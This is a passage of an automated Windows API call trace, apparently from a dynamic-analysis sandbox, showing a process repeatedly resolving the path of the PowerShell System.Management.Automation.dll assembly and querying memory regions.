lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.396] GetLastError () returned 0x0 [0052.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.397] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.397] GetLastError () returned 0x0 [0052.398] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.398] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.398] GetLastError () returned 0x0 [0052.398] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.398] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.399] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.399] GetLastError () returned 0x0 [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.400] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] VirtualQuery (in: lpAddress=0x27cc94, lpBuffer=0x27dc94, dwLength=0x1c | out: lpBuffer=0x27dc94*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.400] VirtualQuery (in: lpAddress=0x27ccd0, lpBuffer=0x27dcd0, dwLength=0x1c | out: lpBuffer=0x27dcd0*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d688, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d638, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.400] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.401] GetLastError () returned 0x0 [0052.401] VirtualQuery (in: lpAddress=0x27d104, lpBuffer=0x27e104, dwLength=0x1c | out: lpBuffer=0x27e104*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27daa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.402] GetLastError () returned 0x0 [0052.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d870, lpFilePart=0x0 | out: 